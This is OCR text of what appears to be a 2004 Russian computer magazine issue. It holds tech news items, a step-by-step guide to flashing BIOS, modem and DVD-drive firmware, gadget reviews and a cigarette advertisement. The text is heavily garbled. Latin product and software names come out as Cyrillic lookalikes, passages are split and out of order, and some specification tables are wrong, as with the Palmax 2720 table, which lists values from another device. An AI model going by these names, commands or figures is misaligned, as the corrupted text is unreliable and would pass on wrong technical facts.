свой винч в моро- 
зильник, собираясь 
таким образом вос- 
становить его рабо- 
тоспособность. «Так 
написали на одном 
сайте», - сообщил му- 
жик немного прифи- 
гевшим сотрудникам 
Опігаск. 

На втором месте чу- 
дак, который немного 
неправильно сохранил 



папки с важными до- 
кументами, в резуль- 
тате чего они отправи- 
лись в корзину. Корзи- 
ны чудак успешно по- 
чистил, а затем на 
всякий случай дефраг- 
ментировал диск. И 
только тогда заметил, 
что что-то не так... 
Третье место за вла- 
дельцем ноутбука, 
внезапно ставшего 
сбоить. Работавшая 
раньше безотказно 
тачка вдруг стала 
щедра на «синие экра- 
ны смерти», хотя об- 
ращался с ноутом вла- 
делец весьма береж- 
но. Причина оказалась 
не в нем, а в юном 
племянничке, который 
периодически игрался 
с этим ноутбуком и, 
когда ему казалось, 
что комп чересчур 
долго «раздумывает», 
молотил по нему рука- 
ми и ногами. 
Цифровая камера чет- 
вертого номинанта 



перед смертью про- 
летела 5,7 километ- 
ров. Дело в том, что 
ее хозяин - професси- 
ональный альпинист. 
Что поделать, не 
удержал, выронил. 
Удивительно, что таки 
собрал все щепки и 
кусочки, донес до 
конторы. 

Медицинскому работ- 
нику, занявшему пя- 
тое место, пришлось 
заново вбивать инфу 
о 1 200 клиентах из-за 
того, что в трансфор- 
маторную будку уч- 
реждения лупанула 
молния. 

Еще мне понравился 
восьмой претендент. 
Этот душка за неста- 
бильную работу вин- 
ды на своем ноуте ис- 
купал его в унитазе и 
напоследок смыл. 
Удивительно, но иног- 
да мне хочется сде- 
лать то же самое со 
своим РС :). ■ 
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Р0Б0Т-НПТ9РППИСТ 



О мериканский дизайнер Сабрина Ра- 
аф (ѵѵѵѵѵѵ.гаа[.огд) представила робота, 
озабоченного проблемами экологии. 
Тгапзіаіог II: Сгоѵѵег представляет собой 
стальную платформу, которая держится 
стены и перемещается по периметру ком- 
наты. Робот использует самый тривиаль- 
ный сенсор углекислого газа для анализа 
состояния окружающей среды. Каждые 
несколько секунд машина делает замеры, 
после чего наносит на стену риску. Через 
полсантиметра - другую. Чем выше кон- 
центрация углекислого газа, тем длиннее 
полоска. Такая своеобразная диаграмма 
символизирует траву и призывает беречь 
природу. Особенно интересно наблюдать 
за поведением робота при большом скоп- 
лении людей в помещении. ■ 



ЗПВЯЖИ 93П0И 



НІТЕСН 



О тставной американский инженер Сет Гольдштейн тряхнул стариной и создал ди- 
ковинную машину для завязывания галстуков. «Шу Кпоі?» - замысловатая меха- 
ническая конструкция. В ее основе лежат десять электроприводов, рычаги, блоки, 
ползунки, лебедки и даже велосипедная цепь. В творческом процессе задействова- 
ны потенциометры и преобразователи цифровых сигналов в аналоговые. Для завязы- 
вания узла требуется, страшно сказать, 562 последовательных шага. Происходит все 
в воздухе, без участия человеческой шеи. Двухминутное видео (ѵѵѵѵѵѵ.а$[Тіе.огд/есІиса- 
Ііоп/ргесоІІеде/ѵѵІіукпоО демонстрирует завязывание галстука в десятикратно ускоренном режиме. Зрелище зах- 
ватывающее! Сделав дело, машина тут же развязывает галстук и начинает заново. И так до бесконечности. В 
будущем году ученый собирается представить «ѴѴІпу Кпоі?» на выставке новинок хай-тека в Филадельфии. ■ 




НТЕСН 




нпш новый 

СУПЕРКОИПЬЮТЕР 



ЖЕЛЕЗО 




Н е так давно в Москве Объединенный 
институт проблем информатики Наци- 
ональной академии наук Беларуси, Инсти- 
тут программных систем Российской Ака- 
демии Наук, компания «Т-Платформы» и 
корпорация АМО презентовали супер- 
компьютер «СКИФ К- 1000». Он предназна- 
чен для решения широкого спектра задач в 
различных областях науки. Этого монстра 
собрали наши соотечественники совмест- 
но с белорусскими коллегами из 576 (!) 
процессоров АМО Оріегоп. Потрудились 
ребята на славу - комп получился самым 
мощным на всей территории СНГ и Восточ- 
ной Европы и занимает почетное 98 место 
в рейтинге самых скоростных машин 
ТОР500 (ѵѵш.1ор500.огд). Главное, что разра- 
ботчики не остановились на достигнутом и 
продолжают разработки. Так что ждем, ког- 
да именно в России будут трудиться самые 
мощные компы. ■ 



ГПОБППЬНПЯ ВОЕННПЯ СЕТЬ 



взпои 




П мериканское правительство 
бережно заботится о своей 
армии и регулярно выделяет 
средства на ее поддержание. 
Пентагон внедряет все новые и 
новые методы, призванные сде- 
лать США военной державой но- 
мер один. Пожалуй, самой 
масштабной военной разработ- 
кой последнего времени стала 
Глобальная информационная 
сеть (СІС). Задумана она была 
около 6 лет назад, но воплощать 
грандиозный проект начали 
только в октябре этого года. Ос- 
новная цель СІС - обеспечивать 
американских солдат обновляю- 
щейся в реальном времени кар- 
тинкой ближайшего поля боя. С 
высоты птичьего полета солдаты 
смогут увидеть все передвиже- 
ния и активность врага и 
действовать соответственно. Так 
как Пентагон планирует опоясать 



военной сетью весь мир, расхо- 
ды предстоят немалые. 200 мил- 
лиардов долларов только на же- 
лезо и софт, и еще больше на 
всевозможные работы по уста- 
новке и внедрению. Так что в 
ближайшее время это чудо воен- 
ной техники, которое, по идее. 



изменит наше представление о 
ведении боевых действий, ждать 
не придется. Через 20 лет - мо- 
жет быть. Но уже сейчас амери- 
канское правительство выделило 
миллиарды долларов на начало 
строительства. И первые кабели 
уже заложены. ■ 
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устройств - 



трк пи это страшно? 



■ Дмитрий Окунев, 1ез1_1аЬ (ІезІ.ІаЬідашеІапіІ.ш] 



Ч то можно предпринять, еспи тебя по какой-либо причине не устраиеает работа того или иного девайса? Ты на- 
нерняка сейчас подумал об обновпении драйверов, и отчасти это верно. Теи не менее, зайдя на родной сайт, ска- 
жем, своей материнской пваты, поииио них ты можешь обнаружить еще и файлы ВІОЗ'а, которые в некоторых 
ситуациях тоже иоіут неснабо пригодиться. Депо в тон, что производитеви железа - обычные люди и могут допускать 
ошибки не только на программной уровне, но и более глубоко - в микропрограмме, управвяющей практически каждым 
компонентом твоей системы. Ну а поскольку процесс ее обновления сейчас уже не вызывает особых трудностей у бо- 
лее-менее понииаіощих юзеров, то неудивительно, что интернет буквально завален всяческиии прошивкаии для всего, 
что можно только найти в системном блоке, причем выкпадываютсл они как саииии создатеолии изделия, так и сто- 
ронними програииистаии, самостоятельно копающими код программы и нередко добавояющиии немало новых багов. 

К тому же, обновление микропрограммы - это все-таки достаточно деликатное и рискованное занятие, нередко приво- 
дящее к выходу оборудования из строя, поэтому мы посчитави своим донгом написать для тебя небольшой гайд по пе- 
репрошивке на примере нескольких распространенных девайсов. 



^ТЕХНИКОБЕЗОПОСНОСТИ 

ообще-то необязательно 
увлекаться перепрошив- 
кой и обновлять микроп- 
рограмму во всем, что 
найдешь, - как правило, 
такая операция может 
потребоваться, если про- 
изводитель вдруг добавил что-то 
серьезное и действительно необходи- 
мое для девайса. Это может быть 
поддержка нового протокола для мо- 
дема, процессора для материнской 
платы и т.д. В остальных же случаях 
можно прекрасно обойтись тем, что 



уже есть. Пусть ты все-таки решился 
перепрошить несчастный девайс - 
тогда перед началом действа нужно 
быть на сто процентов уверенным, что 
система не отключится на самом ин- 
тересном месте из-за халтурной ра- 
боты электрика - недолитая микроп- 
рограмма просто-напросто убьет уст- 
ройство. Если у тебя есть источник 
бесперебойного питания, то это вооб- 
ще идеальный вариант, ну а если же 
нет, то хотя бы займись этим делом в 
такое время, когда нагрузка на элект- 
рическую сеть минимальна, - напри- 
мер, глубокой ночью. В остальном на- 
до просто точно следовать инструкци- 





ям, и все пройдет отлично, ведь на 
самом деле обновление ^ігтѵѵаге - не 
такой уж страшный процесс, а в уме- 
лых руках - практически безвредный. 

^иотЕРИнскоя плата 

Материнская плата - одно из наибо- 
лее часто подвергаемых перепро- 
шивке устройств. Причины могут 
быть разные - например, добавле- 
ние поддержки новейшего процес- 
сора под твою платформу или же 
простое исправление багов, которые 
могут проявляться довольно каверз- 
но. Для примера мы взяли плату 
Ерох 8ВОАЗІ и сейчас посмотрим, 
какие средства по обновлению 
ВІОЗ'а она нам может предложить. 

Практически любой уважающий 
себя производитель представляет 
два метода обновления микропрог- 
раммы: через ѴѴіпсІоѵѵз (как правило, 
наиболее простой и дружественный 
способ) и через 005 (традиционно 
более сложный, но и более надеж- 
ный метод). Мы рассмотрим и срав- 
ним оба случая. Итак, первым делом 
надо скачать сам файл обновленно- 
го ВІОЗ'а. Его чаще всего можно 
найти на официальном сайте в раз- 
деле, посвященном твоей материнс- 
кой плате. Там же обычно можно 
прочитать и об изменениях, которые 
проявятся после его установки, так 
что если файлов несколько, ищи 
тот, который необходим именно те- 



бе (простая установка последней 
версии - не всегда правильное ре- 
шение, в ней могут добавиться не 
только ненужные тебе исправления, 
но и новые глюки). Скачав файл (он 
имеет расширение *.Ьіп), можем 
приступать к основной подготовке. 
На диске, прилагаемом к нашей 
плате, была обнаружена фирменная 
утилита Мадіс ВЮЗ, на самом деле 
представляющая связку из двух 
программ: Мадіс РІазб, осуществля- 
ющей полную автоматизацию про- 
цесса, включая скачку последнего 
ВІОЗ'а из Сети, и ѴѴіпПазб - уже 
вполне самостоятельную программу, 
дающую все необходимые возмож- 
ности по перепрошивке платы. 

Сначала пробуем воспользоваться 
простейшим методом: запускаем 
Мадіс ВЮЗ и в симпатичном окне 
видим помимо НЕІР'а всего одну 
кнопку - «Сбескіпд Рог Меѵѵ ВЮЗ». 
Жмем на нее, и после недолгого 
раздумья программа выдает инфор- 
мацию о возможности скачать новую 
микропрограмму, а вместо старой 
кнопки появляется другая - 
«ОоѵѵпІоасІ». Что ж, жмем теперь на 
нее - файл ВІ05 незамедлительно 
сохраняется на жестком диске, а на 
экране появляется новая кнопка 
(старая традиционно исчезает) с 
буквой «Р» - финальный шаг к нашей 
цели. Жмем и, ответив на предуп- 
реждение согласием портить родное 
оборудование, ждем окончания про- 
цесса, после чего система требует 
перезагрузки. Уходим в ребуг и, ес- 
ли все было сделано верно, наблю- 
даем загрузку обновленного ВІОЗ'а. 
Теперь на всякий случай стоит зайти 
в него, сбросить все настройки в 
дефолт и выставить еще раз. 

Можно также воспользоваться 
утилитой ѴѴіпРІазб напрямую - это 
имеет ряд преимуществ, к примеру, 
через Мадіс РІазб нельзя установить 
более старую версию прошивки, да 
и вообще, возможности ее довольно 
скудны. Запустив программу, мы ви- 
дим большое и, возможно, для кого- 
то малопонятное окно со схемой 
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Завершение перепрошивки модема 



родного ВІОЗ'а. Но спустя несколько 
секунд убеждаемся, что все здесь 
довольно просто. Для начала стоит 
сделать резервную копию старого 
ВІОЗ'а (в предыдущей утилите это 
делалось автоматически), ведь если 
что-то потом не заладится, всегда 
нужно иметь пути к отступлению. 

Для этого выбираем пункт «Васкир 
ВЮЗ» или жмем <С1г1>-ь<3> и ука- 
зываем путь к сохранению файла. 
Назовем его, к примеру, Ьаскир.Ьіп, 
чтобы легче было ориентироваться. 
Теперь давим <Ш>-ь<0> и в отк- 
рывшемся окне выбираем файл с 
новой прошивкой, после чего систе- 
ма полностью готова к процессу. 

Мы можем сразу выбрать сброс 
настроек ВІОЗ'а после обновления, 
для этого надо отметить соответ- 
ствующую галочку в левой части эк- 
рана. Последний штрих - нажатие 
<С1г1>-ь<11> (или выбор пункта 
«ІІрбаіе ВЮЗ Моѵѵ») и согласие с 
предупреждением о грозящей опас- 
ности, затем прошивка заливается, 
и мы перезагружаем систему. Если 



пункт о сбрасывании настроек не 
был отмечен, то теперь надо будет 
сделать это вручную, и вуаля - про- 
цесс завершен, можно приступать к 
изучению новых возможностей. 

В ООЗ'е этот процесс осуществля- 
ется немного сложнее. Помимо са- 
мой прошивки, нам понадобится ути- 
лита аѵѵсі^іазб.ехе (у нас ВЮЗ от 
АѵѵагсІ, а для АМІ ВЮЗ существует 
аналог - атіііазб.ехе). Ее без труда 
можно найти как на диске от матери- 
нской платы, так и в интернете, к то- 
му же ее часто кладут в архив с са- 
мим ВЮЗ'ом. Также нам понадобит- 
ся загрузочный диск 003 - если ты 
уже не помнишь, что это такое, то 
его можно сделать, запустив форма- 
тирование дискеты с отмеченным 
пунктом создания диска 003 (кстати, 
не поленись найти дискету понадеж- 
нее - зачем, думаю, и так понятно). 
Теперь копируем на свежий диск 
файл аѵѵб^Іазб.ехе и саму прошивку и 
смело перезагружаемся, не забывая 
проверить порядок загрузки в ВЮЗ'е 
- флоп должен стоять первым. Когда 
перед глазами предстает экран 003 
с командной строкой, вводим аѵѵб- 
^Іазб и жмем Епіег. В открывшемся 
окне от нас первым делом требуется 
указать имя файла с прошивкой, а 
затем файла, куда сохранится суще- 
ствующий ВЮЗ. После отвечаем по- 
ложительно на стандартное предуп- 
реждение и с замиранием сердца 
ждем окончания процесса. Если все 




Утилита для прошивки из 005 'а. 
к сожалению, простыми средствами 
скриншот ее действия снять невозможно 




1 










Е-іѵаИ'- 











ІЕЗО 






ПЕРЕПРОШИВКП устройств - ТОК пи это страшно? 









ШЕР/№1 2(721/2004 




прошло удачно, то по окончании 
жмем Р1 для перезагрузки и радуем- 
ся результату. 

Процесс этот также можно пол- 
ностью автоматизировать, и от те- 
бя участие вообще не понадобится. 
Для этого нужно отредактировать 
на дискете файл аиІоехес.ЬаІ Он 
обычно спрятан, и если ты его не 
видишь, включи отображение скры- 
тых файлов в меню Сервис -> 
Свойства папки -> Вид; если же он 
отсутствует вообще, то создай его 
самостоятельно. В конец файла до- 
бавь следующую строку: «аѵѵб- 
^Іазб.ехе ххх.Ьіп ууу.Ьіп /зу /ру /е», 
где ХХХ.ЬІП - имя файла с прошив- 
кой, а ууу.Ьіп - имя бэкапа ВІОВ'а. 
Теперь при перезагрузке весь про- 
цесс пройдет автоматически и по 
окончании программа выйдет об- 
ратно в 0С8. 

А МОДЕМ 

Если материнская плата - лишь одно 
из наиболее часто прошиваемых 
устройств, то модем - определенно 
самое часто прошиваемое. Постоян- 
ные адаптации к особенностям теле- 
фонных линий, работа с новыми 
протоколами - все это сподвигает 
юзеров на постоянные поиски наи- 
более подходящей микропрограммы 
для шипящего девайса. 

Мы покажем процесс обновления 
на примере модема 2ухе1 Отпі 56К 
РІиз. Надо сказать, что в этом слу- 
чае, помимо прошивки, придется 
также поставить и драйверы, соот- 
ветствующие ей, поэтому лезем на 
официальный сайт и быстренько на- 
ходим все необходимое. Теперь 
нужна, собственно, утилита - она 
лежит на диске, прилагавшемся к 
модему, и называется 2уХЕ1 
Рігтѵѵаге ІІрІоасІ ѴѴііагсІ. 



При запуске она сканирует порты 
и выставляет тот, к которому подк- 
лючено устройство, - в нашем слу- 
чае СОМ2 (если модем не найден, 
придется указать порт вручную). Да- 
лее программа просит указать путь к 
файлу с прошивкой. Скармливаем 
его, и процесс начинается. 

По завершении перешивания пос- 
мотрим, все ли прошло удачно, - за- 
пускаем любой терминал, например 
НурегТегтіпаІ из состава ѴѴіпсІоѵѵз, и 
вводим команду АТИ - модем дол- 
жен вывести номер установленной 
прошивки. Убедившись, что все в 
порядке, обновляем драйверы - 
идем в «Панель управления», нахо- 
дим пункт «Телефон и модем», 
ищем в списке свой девайс и откры- 
ваем его свойства, далее на вкладке 
«Драйвер» жмем кнопку «Обновить» 
и указываем путь к папке со скачан- 
ными драйверами. Все - теперь мо- 
дем готов к использованию. 

Есть и другой способ обновления 
прошивки - через любую терминаль- 
ную программу (к примеру, тот же 
НурегТегтіпаІ). Для этого запускаем 
ее и пишем команду АТІІРХ, перево- 
дящую модем в режим загрузки 
микропрограммы. Отвечаем утвер- 
дительно на вопрос «Стоит ли?» и 
дожидаемся появления сообщения о 
готовности принять прошивку. 

Теперь закачиваем файл по про- 
токолу ХМобет. В НурегТегтіпаІ это 
делается так: Передача -> Отпра- 
вить файл, далее выбираем прошив- 
ку, указываем наш протокол и жмем 
«Отправить». После успешного окон- 
чания проверяем результат: вводим 
АТИ и смотрим на отклик - номер 
Рігтѵѵаге должен соответствовать на- 
шему. Остается лишь переустано- 
вить драйверы, как указано выше, и 
можно приступать к работе. 






Ппѵѵ- 



МікЫ :1 -№е»гтШ/1№1# Н5-54 

ли ѴрѵъЬп 

Ѵггѵкіп іТЗѴЗ 

«ліінгяЕі^ 



Утилита для обновления 
микропрограммы в при- 
воде Затзипд 
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^ОПТИЧЕСКИЙ ПРИВОД 

Приводы СО/ОѴО-ВОМ тоже иногда 
приходится перешивать, и измене- 
ния в работе при этом могут также 
быть существенными. Мы покажем 
сей процесс на примере пишущего 
ОѴО-привода 8атзипд Т8-552В. Для 
девайсов этого рода прошивки, как 
правило, поставляются сразу с ути- 
литой установки, вот и мы, пройдясь 
по сайту 8атзипд'а, быстро обнару- 
жили необходимый нам архив с пос- 
ледней версией микропрограммы. 
Небольшая симпатичная утилита 
имела ниспадающее меню выбора 
привода и три значимых кнопки, не 
считая «Закрыть»: «Выбор файла», 
«Загрузка программы в устройство» 
и «Помощь». 

Так что процесс обновления полу- 
чился достаточно незатейливым: 
жмем «Открыть» и выбираем наш 
файл, далее жмем кнопку обновле- 
ния. Во время перепрошивки инди- 
катор чтения на приводе будет ми- 
гать. Когда программа сообщит об 
окончании, выходим и перезагружа- 



емся - теперь устройством можно 
пользоваться. Для пущей убедитель- 
ности удостоверимся, что все пра- 
вильно прошилось, - для этого мо- 
жем воспользоваться утилитой Него 
ІпМооІ, входящей в состав знаме- 
нитого пакета. 

А вывод 

Надеемся, на нашем примере ты уз- 
нал основные принципы обновления 
микропрограмм в различных устрой- 
ствах и понял, что процесс этот не 
так страшен, как о нем говорят. Ведь 
для успешного результата надо все- 
го-то не пренебрегать требованиями 
безопасности и четко следовать уста- 
новленным инструкциям, и успех бу- 





В графе Рігтѵѵаге Ѵегзіоп отображается версия текущей прошивки 







Віо^с? — по МАКСИМуму 

Ві^ОйО» нйлрльліСНне « Апгмгісал ЫеікІ. Оіборные со|ріа таібйіи: Вмрикинил и 
Берлей ИЭ Южной Лнкрнкн* Африки и іеропы. а также Восточше табаки, 
шрашениие ѣ прбйГйрьйх Сроймэемноморья. -Изюминка- рецетуры табак шла 
-Кентукки- спесіиалыіой огневой обрабопсн; табак висущниется наа горяшнн 
деревом, насыщава» непсаюримым аромаюм. 14 именно тга придаег сигаретам 
интересний, слегка терлкнй вкус. 



• 0 ^ Качество? - по МАКСИМуму 

Стабильное, высокое качество от компании Кеегпіѵпа/Ттрегіаі ТоЬассо Сгоир, 
прсмзасмителк таких известных марок, как №ѵкк>ПГ. №зс, К| р * гарайтировано. 



Выбор? - по МАКСИМуму 

Широкий вы^кзр по параметрам смолы и никотна. Сигареты представлены ■ трех 
версилх: полновкусовой - Максим І2. облетнснной - Максим В. сулерлегкой - 
Максим 4, 



А цена? - максимально доступная! 

інір шргифтізціж» 



МИНЗДРАВ РОССИИ ПРЕДУПРЕЖДАЕТ КУРЕНИЕ ВРЕДИТ ВАШЕМУ ЗДОРОВЬЮ 





■ Ппексей Шуваев, 1б8І_ІаЬ(1б8І_ІаЬідатвІапіІ.ги) 
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Интерфейс с компьютером 


\ П$В 


Питание 


і Гі-Іоп аккумулятор 1000 піАІі 


Габариты 


І 120x72x12,6 мм 


Дополнительные функции 


І выносной 6Р$-приемник 



В завершение нашего новогоднего оозора хочется вспомнить всех гиков, кото- 
рые являются еще и автомобилистами. На их радость, выпущен комплект на 
базе КПК СотраІ Раітах 2710. Встроенные 64 Мб памяти позволяют устано- 
вить весь необходимый софт как для навигации, так и для работы с документами. 

В комплекте можно найти флешку 50 на 64 Мб с картами Москвы и Подмосковья. 
Карты других городов и регионов России есть на диске. Для синхронизации с 
компьютером в комплект входит крэдл, помимо этого, КПК можно связать с любым 
устройством посредством Ігба. Сам СР5-приемник выносной, влагонепроницаемый 
и подключается к КПК через переходник с питанием от прикуривателя. В комплек- 



НПВИГПЦИОННЫЙ КОИППЕКТ ППЯ ПВТОИОБИПИСТОВ 



ЛУЧШИЕ ГПДЖЕТЫ 

ИРЗ-ППЕЕРІВІѴЕВИ10 



$170 (256 




Интерфейс с компьютером 


П8В1.1 


Объем встроенной памяти 


128, 256 и 512 Мб 


Питание 


встроенный аккумулятор Гі-Іоп 


Дополнительные функции 


диктофон 



Е ще один флеш-плеер в наших руках. С тем, что іВіѵег делает лучшие 
плееры, может, кто-то и будет спорить, но то, что они делают самые 
стильные девайсы, - факт. Итак, запускаем его, и подзеркальной по- 
верхностью 01_Е0-дисплея высвечивается зеленым цветом стандартное при- 
ветствие плееров этой фирмы с номером прошивки (как и другим девайсам 
от этого производителя, данному можно сменить ^ігтѵѵаге, добавив подде- 
ржку новых форматов). Вешаем гаджет на шею при помощи специального 
«ошейника» с наушниками либо подсоединяем переходник с выходом )аск. 

В случае если плеер висит на шее, можно включить один из четырех анима- 
ционных хранителей экрана (молния, пляшущий человечек, эквалайзер и 
надпись «ІВіѵег» среди звезд). Такой кулон выглядит стильно и привлекает 
внимание к обладателю сего чуда. Теперь немного о характеристиках: гад- 
жет обладает встроенным Іі-Іоп аккумулятором, который заряжается при 
подключении к ІІЗВ. Хватает его на 10 часов работы с выключенным дисп- 
леем. Управление интуитивно понятно, меню выполнено в виде иконок с 
подписями. Русские тэги читаются при установке нужного языка в меню. 
Само же меню остается на английском. В наличии трехполосный эквалайзер 
с памятью шести установок. В двух словах: стиль и функциональность. 



★ ★ 



★ ★★★ 



МОБИЛЬНОЕ УСТРОЙСТВО СИНХРОНИЗОЦИИ зѵисвох 



Г$зіі 1 




Питание 


'ТьТімщ і 


Время работы от 3 алкалиновых батареек 


~5 часов 1 


Вес 


70 г І 


Размеры (ШхГхВ) 


5,3x7,62x1,8 см I 



С ледующее устройство, заинтересует обладателей нескольких 

мобильных цифровых устройств, как-то: цифрового фотоаппарата, 
^Іазб-трЗ-плейера, ^Іазіі бгіѵе, изЬ НОВ... Примечателен 5УМСВОХ 
тем, что с его помощью можно совершать копирование как всего содер- 
жимого источника, так и одной папки с определенным именем. Сам про- 
цесс синхронизации прост до безобразия: с левой стороны вставляется 
источник данных, с правой - устройство, на которое будет производиться 
запись. Работает данный девайс по протоколу ІІЗВ 1.1, но поддерживает 
и спецификацию ІІЗВ 2.0. Питается от трех батареек формата ААА. 

В тесте мы использовали ^Іазб-трЗ-плейер, фотоаппарат ОІутриз и два 
ІІЗВ ^Іазб тетогу бгіѵе от Кіпдзіоп: Оаіа Тгаѵеіег ЕІІТЕ и Оаіа Тгаѵеіег II 
РШ5, объемом 1 Гб. Скорость копирования составила порядка 0,8 
Мб/сек, чего вполне хватит в пути. Стоит обратить внимание, что девай- 
сам, питающимся по ІІЗВ, может не хватить мощности чуть посаженных 
батарей и копирования не произойдет. Поэтому любителям поснимать 
вдалеке от компьютера стоит взять флеш-драйв большого объема и об- 
ратить внимание на этот гаджет, тем более что размером он меньше си- 
гаретной пачки и не займет много места в багаже. 
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ЛУЧШИЕ ГПДЖЕТЫ 




ИИИОБИППЙЗЕР ДЛЯ КОИЛЫОТЕРП ІЛЧОС 



Питание брелка 

Расстояние до брелка, лри котором блокируется компьютер 
Рабочая частота 



3 В (СВ-2032 в комплекте) 



2...5 м 
315 МГц" 



тацию входят различные навигационные програм- 
мы с подробными картами. А теперь о конкрет- 
ных удобствах для автомобилистов: про зарядку- 
адаптер для КПК и СР5 уже было сказано, но так- 
же есть гибкая и упругая штанга с магнитным 
держателем и присоской. В результате ты макси- 
мально удобно для себя можешь разместить кар- 
ту, а софт позволит точно отмечать на ней твое 
положение. Скажем по секрету: если немного по- 
возиться с настройками, на определенном рас- 
стоянии до нужного поворота система предупре- 
дит текстовым и звуковым оповещением. 



★ ★★ 



В наши руки попал девайс, именуемый не иначе как беспроводное 
устройство ограничения доступа к компьютеру. Позабудь про вся- 
кие гАсІтіп и прочие виртуальные ограничители и возьми на во- 
оружение настоящий иммобилайзер для компьютера. Вся система раз- 
делена на две составляющие: ІІЗВ-приемник и брелок-источник радио- 
сигнала. Включив свой компьютер и установив необходимое ПО, ты ста- 
новишься обладателем послушной и защищенной тачки, которая забло- 
кируется, едва ты отойдешь на несколько шагов. В случае если сядет ба- 
тарейка в брелке или ІІЗВ-приемник выкрадут враги, ты сможешь обой- 
ти запрет, набрав заветную комбинацию, устанавливаемую тобой же. К 
тому же, если ты счастливый владелец нескольких компьютеров, 
набрать иЗВ-приемников и носить с собой только один брелок - он бу- 
дет действовать на все компьютеры сразу. О своем функционировании 
брелок и ІІЗВ-приемник будут оповещать тебя миганием зеленого свето- 
диода. Нажав на брелке кнопку питания, ты заблокируешь комп, не схо- 
дя с места. Можешь установить злому начальнику такой гаджет и весе- 
литься - теперь он живет по твоему расписанию. 



НЕОБЫЧНЫЙ ГРЫЗУН Н-ИОНОЕ НИ-1 0 1 



Интерфейс 

Разрешающая способность фотоэлемента 
Цветовые варианты исполнения 



Ц$В 



красный, черный, желтый, коричневый, синии 



С емейство компьютерных грызунов пополнилось необычным эк- 
земпляром - это оптическая мышь Ѵ-тоизе. Разрешение фото- 
элемента у модели ѴМ-101 составляет 1000 ОРІ. Казалось бы, 
что необычного? Но достаточно открыть коробочку и начинаешь при- 
ятно удивляться. Мыши как таковой нет, зато есть эргономичный 
девайс, подключаемый по ІІЗВ и выполненный в виде толстой ручки. 
Источник света обладает модным ныне синим свечением, что не 
раздражает глаза и приятно освещает пространство вокруг себя. 

В комплекте есть специальный коврик, в углу которого находится маг- 
нит. На мышке, в свою очередь, есть небольшая металлическая плас- 
тинка, благодаря которой гаджет легко закрепится и не будет катать- 
ся по столу. Кнопки управления вынесены под указательный палец, 
к сожалению, отсутствует скроллинг. Подключение производится 
просто: драйвера не нужны, достаточно один конец провода воткнуть 
в ІІЗВ, а другой в мышь, и все заработает. Единственное, что внуши- 
ло опасение, - это толщина провода: слишком хлипким он показался, 
а нестандартные штекеры расстроят хозяина, в случае если проводок 
перегрызет любимый питомец. 





. ЛУЧШИЕ ГПДЖЕТЫ 



КПК РПІИПХ 2720 СО ВСТРОЕННЫЙ СР8 



Интерфейс с компьютером 


3 В (СВ-2032 в комплекте) 1 


Питание 


2...5 м 1 


Габариты 


315 МГц 1 


Дополнительные функции 


6Р8 1 



Р аз уж сегодня речь идет о вещах, которые облегчают жизнь своим наличи- 
ем в твоем кармане, стоит поговорить о мобильности, то есть о мобиль- 
ных девайсах. Самым мобильным и технологичным после сотового теле- 
фона является КПК. Но сегодня будет не простой наладонник и даже не коммуни- 
катор - это будет КПК со встроенной системой позиционирования (СР8 - СІоЬаІ 
Розіііоп Зузіет). Гаджет построен на базе процессора ІпіеІ ХЗсаІе РХА263 300 
МГц с предустановленной системой ѴѴіпсІоѵѵз МоЬіІе 2003 ЗесопсІ ЕбШоп. Дисплей 
в 3,5 дюйма с разрешением 240x320 точек отображает 64 тысячи цветов. Для 
удобства навигации вынесена кнопка «Чувствительность СРЗ». Она порадовала: 
среди высоток, да в снежную погоду (тучи мешают прохождению сигнала), да 
еще и в машине приемник смог найти 7 спутников - хороший показатель. Для об- 
легчения общения пользователя с системой навигации в комплект поставки вклю- 
чен следующий софт: РАІМ ГИС ОЕМ, ГИС РУССА. 64 или 128 Мб встроенной па- 
мяти позволят разместить карты города в хорошем масштабе и поставить не одну 
программу для собственных нужд. В итоге имеем полнофункциональный девайс 
два в одном: КПК и СРЗ. Несмотря на насыщенность технологиями, вес устрой- 
ства составляет всего 170 г вместе со сменным Іі-Іоп аккумулятором. 




Ч' 



кппвиатурр для нлппдонникл 




Питание 


3 В (батарея входит в комплект) і 


Время работы от одного элемента 


~3 недели і 



В сем любителям КПК посвящается. Тем, кому по роду деятельности необходи- 
мо быть всегда готовым к быстрой работе с текстом, но одновременно сохра- 
няющим мобильность (куда уж туг ноутбукам, которые уже и похудели до па- 
ры килограмм, но занимают отнюдь не мало места), стоит присмотреться к этому 
устройству. Легкая, не занимающая много места (размером с КПК) клавиатура с при- 
вычной всем раскладкой ОѴѴЕВТУ станет большим подспорьем в дороге. Резиновые 
подкладки помогут зафиксировать КПК так, чтобы он не скользил. Клавиатура являет- 
ся универсальной и взаимодействует с любым наладонником, обладающим ИК-пор- 
том. На КПК устанавливается специализированный софт, а далее все просто. Дубли- 
рующие кнопки (боте, саіепбаг) вынесены на панель клавиатуры и окрашены другим 
цветом. Инфракрасный передатчик клавиатуры крепится на гибком шнуре в любой 
части таким образом, чтобы он находился напротив ІВ карманного компьютера. Ма- 
лые габариты устройства диктуют свои условия: забудь про десятипальцевый метод 
слепой печати. Кнопочки миниатюрные, но при определенной сноровке набирать 
текст все же удобнее, нежели тыкать стилусом по экрану. Питается девайс от одной / 
батарейки, которая прослужит несколько недель. Кстати, часть этой статьи набира- 
лась именно при помощи данного девайса. Эго действительно удобно. Так что семь 
раз подумай, стоит ли царапать экран или сделать подарок себе любимому? 
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ИУПЬТИИЕДИЙНЫЙ ПЛЕЕР ІПІѴЕП ІПІѴЕП РИР-1 20 



1 $550 1 


Интерфейс с компьютером 


П8ВЦ П8В2.0 


Обьем встроенной памяти 


10, 20, 40 Гб 


Питание 


сменный аккумулятор ГНоп 


Дополнительные функции 


диктофон, радио, видео 


Частотный диапазон радио 


76,5-108 МН2 






3 



авершает ряд плееров мультимедийный монстр от іВіѵег. На этот раз 
они решили включить все, что может быть востребовано не только ме- 
ломаном, но и любителем путешествовать. Сей девайс, благодаря 
встроенному винчестеру на 20 Гб, позволит в течение нескольких дней нас- 
лаждаться музыкой и видео. Ах да, я не упомянул о 3,5" ТГТ-дисплее, кото- 
рый выдает 260 000 цветов при разрешении 320x240. Заливать фильмы 
можно по иЗВ 1.1 или иЗВ 2.0 в форматах тред4, ОіѵХ и ХѵісІ. Музыка во 
всех популярных форматах (трЗ, ѵѵта, АЗР, Одд ѴогЬіз, ѴѴАѴ) будет развле- 
кать очень долго, благодаря Іі-Іоп аккумулятору, который без подзарядки 
может работать почти весь день (заряда хватит на весь день прослушивания 



ЛУЧШИЕ ГПДЖЕТЫ 



6Р8 ПИВІСОИ ВШЕТООТН 



Интерфейс с компьютером 



Питание 

Время работы от одного заряда 



ЫиеІооПі 



сменный и-Іоп аккумулятор 
